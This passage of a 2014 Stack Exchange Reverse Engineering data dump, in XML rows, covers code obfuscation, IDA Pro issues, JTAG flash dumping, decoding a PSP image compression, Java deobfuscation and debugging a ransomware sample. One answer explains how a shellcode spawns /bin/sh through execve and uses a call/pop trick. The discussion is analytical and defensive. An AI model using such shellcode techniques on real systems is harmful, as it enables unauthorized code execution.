instead of Python. Also, there is a question &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/1943/what-are-the-techniques-and-tools-to-obfuscate-python-programs&quot;&gt;here&lt;/a&gt; about obfuscating Python code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Anyway, in my opinion, code protection is overrated. You cannot prevent a decided person or group from reverse engineering a piece of software and, sometimes, it's a lose of time and money.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-02-24T10:26:38.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3754" PostTypeId="2" ParentId="3748" CreationDate="2014-02-24T10:34:44.017" Score="4" Body="&lt;p&gt;I'd just like to add what this code actually does, since it's rather simple. It is designed to be used as a shellcode. A relatively standard one. What it does is write something to AHMADUMinU to STDIN (?) which gets printed on the screen and then proceeds to execute /bin/sh via syscall 11. It's fairly easy to follow since it's heavily commented. &#xA;I am mentioning all of this because you won't be able to see many of the details in &quot;decompiled code&quot; which would look somethign like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main(){&#xA;write(0,&quot;AHMA...&quot;,15);&#xA;execve(&quot;/bin/sh&quot;,NULL,NULL);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is one interesting bit (old shellcoding trick). The shellcode needs to NULL terminate the &quot;/bin/sh&quot; string which will be somewhere on the stack. For that purpose, it needs to get its address. It does that by making two calls. Calls will make new stack frames, at which point it can just pop the saved stack frame. &lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2014-02-24T10:34:44.017" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3755" PostTypeId="2" ParentId="3750" CreationDate="2014-02-24T12:35:08.267" Score="3" Body="&lt;p&gt;(on behalf of the OP)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solved it. It was because my system was missing one update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check the error details and solution &lt;a href=&quot;http://support.microsoft.com/kb/917607&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Modern Windows versions have no more built-in support for the old Windows help format, so that needs to be installed explicitly.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2014-02-24T12:35:08.267" CommentCount="1" CommunityOwnedDate="2014-02-24T12:35:08.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="3756" PostTypeId="2" ParentId="3752" CreationDate="2014-02-24T12:47:13.460" Score="4" Body="&lt;p&gt;As for C compiler (gcc), first make sure you do not make a mistake of compiling it with &lt;code&gt;-g&lt;/code&gt; option (adds symbols for debugging, basically whole source code).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-g  Produce debugging information in the operating system's native format&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Secondly, try with &lt;code&gt;-s&lt;/code&gt; option:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;-s  Remove all symbol table and relocation information from the executable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Without function names is would be harder to reverse engineer it. Take a look at &lt;code&gt;man strip&lt;/code&gt;. I haven't tried it, but something like&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;strip --strip-debug objfile&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;or:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;strip --strip-unneeded objfile&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;on your object files could be useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Turn on as much optimisation as you can &lt;code&gt;-O3&lt;/code&gt;. It is really hard to read an optimized assembly, making it another impediment. There is really no good way of preventing disassembly and reverse-engineering, but it makes it harder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for Python, it is absolutely OK to ship only &lt;code&gt;.pyc&lt;/code&gt; bytecode files. It is compiled version of source code for Python Virtual Machine. &lt;a href=&quot;http://effbot.org/pyfaq/how-do-i-create-a-pyc-file.htm&quot; rel=&quot;nofollow&quot;&gt;How do I create a .pyc file?&lt;/a&gt;. Try this one, maybe it is what you need. User can run bytecode file using &lt;code&gt;python&lt;/code&gt; just as easily as a source code file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, try to google for code obfuscation. It makes no sense to obfuscate C++ code, but maybe someone knows if code obfuscation is a good strategy for Python.&lt;/p&gt;&#xA;" OwnerUserId="4007" LastEditorUserId="4007" LastEditDate="2014-02-24T13:02:50.063" LastActivityDate="2014-02-24T13:02:50.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3757" PostTypeId="2" ParentId="3747" CreationDate="2014-02-24T12:50:28.717" Score="2" Body="&lt;p&gt;Okay, one of the lowest level approaches would be to desolder the flash and then read it with a device suitable for that particular chip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you have a JTAG (&lt;a href=&quot;/questions/tagged/jtag&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;jtag&amp;#39;&quot; rel=&quot;tag&quot;&gt;jtag&lt;/a&gt;) probe, &lt;a href=&quot;https://reverseengineering.stackexchange.com/q/1374/245&quot;&gt;find the JTAG header&lt;/a&gt; and find out as much as possible about the chips (otherwise you can literally fry the hardware). Then use the JTAG probe and an openly available tool such as OpenOCD to dump the contents of the flash chip. This should also be usable to flash it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, since this is very specific to each piece of hardware it's hardly possible to give some generic advice about how to go about and what to be careful about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Refer to the above linked question for details on how to find the JTAG header after disassembling the device and look in the &lt;a href=&quot;/questions/tagged/jtag&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;jtag&amp;#39;&quot; rel=&quot;tag&quot;&gt;jtag&lt;/a&gt; tag to find other existing questions and answers surrounding that topic.&lt;/p&gt;&#xA;" OwnerUserId="245" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-02-24T12:50:28.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3758" PostTypeId="1" CreationDate="2014-02-24T14:22:28.423" Score="3" ViewCount="593" Body="&lt;p&gt;In the IDA Pro generated asm code, I see this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include uni.inc ; see unicode subdir of ida for info on unicode&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't find unicode subdir nor do I find uni.inc file...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could any one give me some help? Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-02-24T14:22:28.423" Title="Where is uni.inc file?" Tags="|ida|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3759" PostTypeId="2" ParentId="3742" CreationDate="2014-02-24T20:05:36.843" Score="1" Body="&lt;p&gt;There is no need to do anything. For x64 Mach-O and ELF files, cdecl is the same as fastcall and means SysV AMD64 ABI.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-02-24T20:05:36.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3761" PostTypeId="2" ParentId="3682" CreationDate="2014-02-25T14:41:14.697" Score="2" Body="&lt;p&gt;The stack frame structure is not created unless necessary (i.e. the function accesses a stack argument or local variable), so these stub functions get skipped by your &lt;code&gt;(ret == -1)&lt;/code&gt; check.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-02-25T14:41:14.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3762" PostTypeId="1" AcceptedAnswerId="3763" CreationDate="2014-02-26T04:35:09.867" Score="3" ViewCount="631" Body="&lt;p&gt;I use IDA Pro 6.1 to disassemble static linked binary on Windows 32bit&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, in the interactive screen, this subroutine (which is in one library function) can be found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BjLOg.png&quot; alt=&quot;IDAPro asm display&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as I use these two ways to generate asm code:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;File-&gt;Produce-&gt;Create ASM File&lt;/li&gt;&#xA;&lt;li&gt;IDC script to iterate all the functions&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In both ways I can find this library function, but I can not find the definition of the subroutine &lt;code&gt;$LN28_0&lt;/code&gt;. Which means in the generated asm code, all the &lt;code&gt;jmp $LN28_0&lt;/code&gt; is undefined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I am wondering if it is a bug of IDA Pro? Or, do I need to configure some things? &lt;/p&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2014-02-26T12:33:01.720" LastActivityDate="2014-02-26T12:33:01.720" Title="Why IDA Pro can not generate this subroutine's code?" Tags="|ida|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3763" PostTypeId="2" ParentId="3762" CreationDate="2014-02-26T07:56:06.993" Score="3" Body="&lt;p&gt;It looks like that $LN28_0 is local label, not subroutine.&#xA;Find it, rename it manually, regenerate the file.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2014-02-26T07:56:06.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3764" PostTypeId="1" AcceptedAnswerId="3765" CreationDate="2014-02-26T18:43:59.927" Score="8" ViewCount="1388" Body="&lt;p&gt;I am doing a translation project for the PSP version of a game released by Prototype (Japanese company), but I am having trouble with some GIM files (image files). &#xA;Now the actual problem is not with the gim format, but a compression that has been placed on the gim files, but before that I will clarify a few things.&#xA;Some of the GIM's work, however sometimes a GIM file appears that neither puyotools or GimConv (software that converts gim to png) can handle. The GIM that doesn't work is a little different in appearance.&#xA;I know its a GIM file because it starts with: MIG.00.1PSP, though to be exact, its a little different and written like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[integer equals 16, signature?] [integer equals 131792] [MIG.00.1PSP, but where a 00 HEX is placed between each hex byte]&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;10 00 00 00 D0 02 02 00 4D 00 49 00 47 00 2E 00 30 00 30 00&#xA;2E 00 31 00 50 00 53 00 50 00 00 00&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each of the compressed GIM files starts with these two integers values (however an image I have with smaller resolution has a different second integer). I have allready tried removing these two integers and also tried replacing M(00)I(00)G(00).(00)0(00)0(00).(00)1(00)P(00)S(00)P(00), with simply MIG.00.1PSP, but that just ended up making GIMConv saying: wrong chunk data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also I have tried analyzing the file with signsrch and TrID to look for hints of some sort, but signsrch finds nothing and TrID only finds: &quot;100 .0% (.) LTAC compressed audio (v1.61) (1001/2)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the file called: black.gim (a black image)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Quc5S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a random CG: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/W1UrT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a random gim file for refference to how an uncompressed version should look like. Notice that the first 4 bytes of the second line indicates the file size minus 16. &#xA;Another thing is the int after MIG.001.PSP, which I from different sources has found to be the version number. Therefore, all the compressed files should problably get that int there too.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pTza1.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Update: I believe this is some kind of lz compression, but I haven't figured out which one yet. Tried lz01,lz00,lz10,lz11,CXLZ, lzss . It seems to me that it begins with a 10 byte like lz, it makes MIG.001.PSP become seperated by 00, due to the compression relying on value, key pair, where I believe the key 0 means that values should be directly send to the output. &amp;lt;- if you are confident that its one of the compressions I have tried, please say so too as it could very well just be the tools I used to try those compressions that was wrong with. GZIP and deflate was tried using .NET's System.IO.Compression in C# and the others has been tried using something called Puyo tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: It seams like I have it almost figured out, basicly a key equals zero outputs value to decompressed data. If key is higher than zero, then get the short value of [Value,key-1]. This short plus 8 times two gives the byte it has to write out twice to decompressed data. In other words, 00 00 08 01 would output 00 00 00. The only problem with this is that 0f 01 in my black.gim example at line 3. This would point to 15 which would be position (15 + 8)*2 equals byte 46 which should be 02 00 in line two. This is however incorrect! Since I expect it to place zeroes there, not output 02 02..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short in the black.gim example I have found that:&#xA;0C 01 should output 00 00&#xA;0D 01 should output 00 00 00&#xA;0F 01 should output 00 00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll be really happy if anybody could give me some input or lead :)&lt;/p&gt;&#xA;" OwnerUserId="4024" LastEditorUserId="4024" LastEditDate="2014-02-27T04:47:23.093" LastActivityDate="2015-01-26T05:32:13.450" Title="identification/reverse engineer lz compression" Tags="|file-format|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3765" PostTypeId="2" ParentId="3764" CreationDate="2014-02-27T01:35:12.013" Score="8" Body="&lt;p&gt;Here is the complete answer to everyone who may encounter compressed GIM file of simular compression.&#xA;Basicly the file starts like this:&#xA;[magic number 10 00 00 00] [Integer with uncompressed size of file]&#xA;After this the compressed file begin.&#xA;The compression basicly functions like this: (in terms of decompression)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-&gt; Take the next 2 bytes.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-&gt; Is the second byte equals zero?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Write first byte to decompressed output.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-&gt; Is the second byte higher than 0?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a pointer whose job is to make use of bytes used before. The position it points to is equals the unsigned short value of: [first byte, second byte minus 1]*2 + 8. When a pointer reads at the position it points to, it will read the next 4 bytes and not just the next 2 bytes. If the bytes at the pointed location is: 00 02 0C 01, then the decompressed output would be 02 ?? where ?? would be the result of the first two bytes of what its pointing at. In other words, if we pointed to 0C 01 02 00, then the output 0C 01 would be replaced by the result whatever its pointing to.Lets say it points to 08 00 00 00, then the output of the last pointer would be 08 00 00 00, which would replace 0C 01 and become: 08 00 00 00 02 00, which lastly would output 08 00 02 to decompressed output. *Notice that a pointer placed as the second byte cannot be replaced by four bytes, but only by the first two bytes of what would normally have been the result. If the second byte is pointing to the first byte, then it will simply be given the result of the first byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Examples from the image from the first post (Black.gim):&#xA;In the first image: 0c 01 points to 00 00 0C 01, which outputs 00 00.&#xA;In the first image 0d 01 points to 0C 01 0C 01, which outputs 00 00 00. &amp;lt;- notice how only the first two bytes at a pointed position has the right to extend the result of what pointed to it by two bytes.&#xA;In the first image: 0F 01 points to 02 00 0D 01, which outputs 02 00&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;-&gt; do this until no bytes remains..&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About the suggested LZJB, I'll check right away. In case its right, I have still gotten quite the experience about reverse engineering files.&lt;/p&gt;&#xA;" OwnerUserId="4024" LastEditorUserId="4024" LastEditDate="2014-03-03T01:39:18.893" LastActivityDate="2014-03-03T01:39:18.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3766" PostTypeId="1" AcceptedAnswerId="3767" CreationDate="2014-02-27T10:17:38.380" Score="6" ViewCount="3385" Body="&lt;p&gt;Does anybody know something hack to debug 16bit DOS program in IDA 6.1?&lt;/p&gt;&#xA;" OwnerUserId="3945" LastEditorUserId="1648" LastEditDate="2014-02-27T20:34:59.367" LastActivityDate="2014-02-27T20:34:59.367" Title="DOS program debug in IDA?" Tags="|ida|debugging|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3767" PostTypeId="2" ParentId="3766" CreationDate="2014-02-27T11:03:03.937" Score="8" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/wjp/idados&quot;&gt;IDA DOSBox plugin&lt;/a&gt; by Eric Fry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it requires a modified DOSBox build.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-02-27T11:03:03.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3770" PostTypeId="1" CreationDate="2014-02-28T20:27:26.593" Score="3" ViewCount="450" Body="&lt;p&gt;I got this fake-av sample , and I want to reverse it . But the problem is that it exits after few commands . Here are the steps :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When loaded in Ollydbg it pauses at:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401000 &amp;gt; $  8D9404 7713210&amp;gt;LEA EDX,DWORD PTR SS:[ESP+EAX+0x211377]&#xA;00401007   . /E9 CF020000    JMP setup.004012DB &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004012DB   &amp;gt; \BA 0C000000    MOV EDX,0xC&#xA;004012E0   .  8B4C24 1C      MOV ECX,DWORD PTR SS:[ESP+0x1C]&#xA;004012E4   .  41             INC ECX&#xA;004012E5   .  09C9           OR ECX,ECX&#xA;004012E7   .  75 0C          JNZ SHORT setup.004012F5&#xA;004012E9   .  0F2ECF         UCOMISS XMM1,XMM7&#xA;004012EC   .  74 13          JE SHORT setup.00401301&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00401301   &amp;gt;  89E5           MOV EBP,ESP&#xA;00401303   .  C3             RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then it exits :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7C81776F    50               PUSH EAX&#xA;7C817770    E8 8349FFFF      CALL kernel32.ExitThread&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What exactly happens here , I guess it has to do with the line &lt;code&gt;UCOMISS XMM1,XMM7&lt;/code&gt; but I have no clue what it does ?&lt;/p&gt;&#xA;" OwnerUserId="4043" LastEditorUserId="189" LastEditDate="2014-03-02T12:10:47.673" LastActivityDate="2014-03-04T19:56:35.423" Title="Trouble analyzing a ransomware" Tags="|disassembly|malware|binary-analysis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3778" PostTypeId="1" CreationDate="2014-03-03T18:22:22.667" Score="2" ViewCount="428" Body="&lt;p&gt;I have traced a static address which is using the base address and an offset. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am interrested in this address because a 'Find out what addresses this instruction accesses' shows values, changing as a reaction to an empty slot of inventory being filled or vice-versa. The addresses I'm looking for only shows changed by my static address when I actively remove/add items from my inventory, therefore changing their respective address value. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address goes as following: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code:&#xA;NexusTK.exe+E0820 - 66 89 48 06           - mov [eax+06],cx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I add the address it always points to an address in the &#xA;Code:&#xA;004Exxxx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;range. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the addresses my static address changes with its code is always in the &#xA;Code:&#xA;55xxxxxx&lt;/p&gt;&#xA;&#xA;&lt;p&gt;range. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to reach the accessed addresses by reading memory / offset calculation or by some relation I'm not aware of? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can link to an image of the debugger if it helps. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus: when I select the whole function examine the first address and what its code changes, all inventory slot changes gets accessed by 1 address. I have also tried pointer scanning, but when filtering out the process within the old results after resetting the pointer, the search wields 0 results the second time already.&lt;/p&gt;&#xA;" OwnerUserId="4068" LastActivityDate="2017-02-10T17:29:16.883" Title="Addressed changed by code from a common address" Tags="|assembly|debugging|memory|hex|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3779" PostTypeId="1" CreationDate="2014-03-03T18:30:17.747" Score="3" ViewCount="2505" Body="&lt;p&gt;I have an obfuscated jar file I'm trying to decompile and get into an eclipse project. I can easily view the &quot;source&quot; using a tool like jd-gui but I cant save it because the filenames are too long. I need some sort of tool that can rename the calss name and all instances of that class inside the jar file. I wrote a program to extract all of the files from the jar that renames them to class_1, class_2 ect and save the original name along with the new name in a file. I  planned to just do a replace all to rename the instances inside the java files but it wont work because I didn't take packages into account. Also a lot of the classes are named with keywords like super or return which seems to work fine in the .class files but most IDEs get confused by it and throw errors all over the place. Altogether I have 1680 class files and most look like this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dg9NY.png&quot; alt=&quot;Obfuscated filenames&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anyone can recommend any tools ar methods that will allow me to rename these or at least extract the archive I would appreciate it.&lt;/p&gt;&#xA;" OwnerUserId="3818" LastActivityDate="2014-03-03T20:07:03.753" Title="Rename classes and packages in a jar file" Tags="|java|deobfuscation|jar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3780" PostTypeId="1" CreationDate="2014-03-03T19:22:53.690" Score="5" ViewCount="1521" Body="&lt;p&gt;It is mentioned on the IDA Pro Hex-Rays site under decompiler error messages&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;16-bit functions are not supported&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It goes on to say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The decompiler itself CAN be fine tuned to decompile 16-bit code, &#xA;  however this is not a priority for now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to &quot;fine-tune&quot; the decompiler in this way?&lt;/p&gt;&#xA;" OwnerUserId="4069" LastEditorUserId="60" LastEditDate="2014-05-20T21:56:50.873" LastActivityDate="2014-05-20T21:56:50.873" Title="How do i fine-tune Hex-Rays decompiler for 16-bit?" Tags="|decompile|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3781" PostTypeId="2" ParentId="3780" CreationDate="2014-03-03T19:36:56.433" Score="2" Body="&lt;p&gt;That is meant to say that the developers at Hex-Rays can fine tune the decompiler code to work on 16-bit code, but it is not a priority for them right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be non-trivial for an end-user without the decompiler's source code to fine-tune the decompiler plugin. But, if you feel you're up for the challenge, go for it! :)&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2014-03-04T15:26:58.450" LastActivityDate="2014-03-04T15:26:58.450" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3782" PostTypeId="2" ParentId="3779" CreationDate="2014-03-03T20:07:03.753" Score="3" Body="&lt;p&gt;The Krakatau decompiler will automatically rename the output files to valid filenames if the original class name doesn't correspond to a valid filename. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the original names will still be preserved inside the generated files. As for renaming inside the actual source files, I wrote a script to do that (along with various other deobfuscation scripts) but I haven't publicly released it for various reasons. If you send me the jar I can try to deobfuscate it for you though.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2014-03-03T20:07:03.753" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3783" PostTypeId="2" ParentId="1370" CreationDate="2014-03-03T20:10:48.787" Score="3" Body="&lt;p&gt;First of all, there is a fix for Fernflower issue with missing classes &lt;a href=&quot;https://gist.github.com/agaricusb/4575843&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. You can say thank you to agaricusb for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now Fernflower remains the best Java decompiler even It was not maintained for last few years. I've tried to reach the author recently, but still no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for AndroChef Java Decompiler, It's uses Fernflower as engine with author's permission. Still not sure If it uses patched/modified version or It's just a GUI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Procyon decompiler developed by @mike-strobel seem to be good, but Fernflower still got a HUGE advantage and was able to decompile approximately 95% of my application (~3000 classes) while procyon was able to handle only 60% (checked in January of 2014).&lt;/p&gt;&#xA;" OwnerUserId="2507" LastActivityDate="2014-03-03T20:10:48.787" CommentCount="4" CommunityOwnedDate="2015-03-20T16:24:07.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="3786" PostTypeId="2" ParentId="3770" CreationDate="2014-03-04T19:48:42.537" Score="1" Body="&lt;p&gt;the jnz at 4012e7' should be taken  if &lt;code&gt;401000 is PeHeader-&amp;gt;EntryPoint&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;your post indicates that it has not been taken invesitage who messed up with &lt;code&gt;SEH CHAIN&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;esp+1c&lt;/code&gt; normally holds &lt;code&gt;EndOfSehChain (0xffffffff)&lt;/code&gt;  when broken on EntryPoint see SehProlog() in Kernel32!BaseProcessStart() &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;bp calc+@@c++(( (ntdll!_IMAGE_NT_HEADERS *)  @@masm(calc+by(calc+3c)))-&amp;gt;OptionalHeader.AddressOfEntryPoint);g;!exchain;dd @esp+1c l2;q&quot; calc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Breakpoint 0 hit&#xA;0007ffe0: kernel32!_except_handler3+0 (7c839ad8)&#xA;  CRT scope  0, filter: kernel32!BaseProcessStart+29 (7c8438ea)&#xA;                func:   kernel32!BaseProcessStart+3a (7c843900)&#xA;Invalid exception stack at ffffffff&#xA;0007ffe0  ffffffff 7c839ad8&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;debugger does not mess with this value&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sample code to check (esp+1c) at EP&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ucomisstest&amp;gt;type ucomisstest.cpp&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;char strin[] = { &quot;hello baby\n&quot; };&#xA;char strun[] = { &quot;hello babie\n&quot; };&#xA;char stron[] = { &quot;hello barbie\n&quot; };&#xA;int main (void)    {&#xA;    __asm {    mov ecx, dword ptr ds:[esp+1ch]&#xA;               inc ecx    or ecx,ecx&#xA;            jnz noseh&#xA;            ucomiss xmm1,xmm7&#xA;            je exit&#xA;            lea eax, strun&#xA;            push eax&#xA;            call printf&#xA;            pop eax&#xA;exit:&#xA;        lea eax, strin&#xA;            push eax&#xA;            call printf&#xA;            pop eax&#xA;noseh:&#xA;        lea eax, stron&#xA;            push eax&#xA;            call printf&#xA;            pop eax&#xA;    } return 0;    }    &#xA;\ucomisstest&amp;gt;cl /nologo ucomisstest.cpp&#xA;ucomisstest.cpp    &#xA;\ucomisstest&amp;gt;ucomisstest.exe&#xA;hello barbie &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-03-04T19:56:35.423" LastActivityDate="2014-03-04T19:56:35.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
